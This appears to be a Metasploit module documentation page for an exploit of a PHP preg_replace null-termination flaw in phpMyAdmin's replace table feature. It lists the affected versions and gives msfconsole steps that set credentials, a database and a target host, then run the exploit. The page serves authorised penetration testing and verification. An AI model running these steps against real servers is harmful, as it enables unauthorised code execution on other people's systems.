## Description
|
||
|
|
|
||
|
|
This module exploits a vulnerability in a PHP's `preg_replace()` function
|
||
|
|
that is used by phpMyAdmin's replace table feature.
|
||
|
|
|
||
|
|
|
||
|
|
## Vulnerable Application
|
||
|
|
|
||
|
|
PHP versions before 5.4.6 allow null termination of the `preg_replace` string parameter.
|
||
|
|
|
||
|
|
phpMyAdmin versions 4.6.x (prior to 4.6.3), 4.4.x versions (prior to 4.4.15.7),
|
||
|
|
and 4.0.x versions (prior to 4.0.10.16) are affected.
|
||
|
|
|
||
|
|
|
||
|
|
## Options
|
||
|
|
|
||
|
|
**DATABASE**
|
||
|
|
This option specifies the database the module will use
|
||
|
|
when creating a new table as part of the exploit.
|
||
|
|
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
- [ ] Install vulnerable phpMyAdmin application
|
||
|
|
- [ ] Create database through phpMyAdmin application
|
||
|
|
- [ ] `./msfconsole`
|
||
|
|
- [ ] `use exploit/multi/http/phpmyadmin_null_termination_exec`
|
||
|
|
- [ ] `set USERNAME <username>`
|
||
|
|
- [ ] `set PASSWORD <password>`
|
||
|
|
- [ ] `set DATABASE <database>`
|
||
|
|
- [ ] `set rhost <rhost>`
|
||
|
|
- [ ] `run`
|
||
|
|
|
||
|
|
|
||
|
|
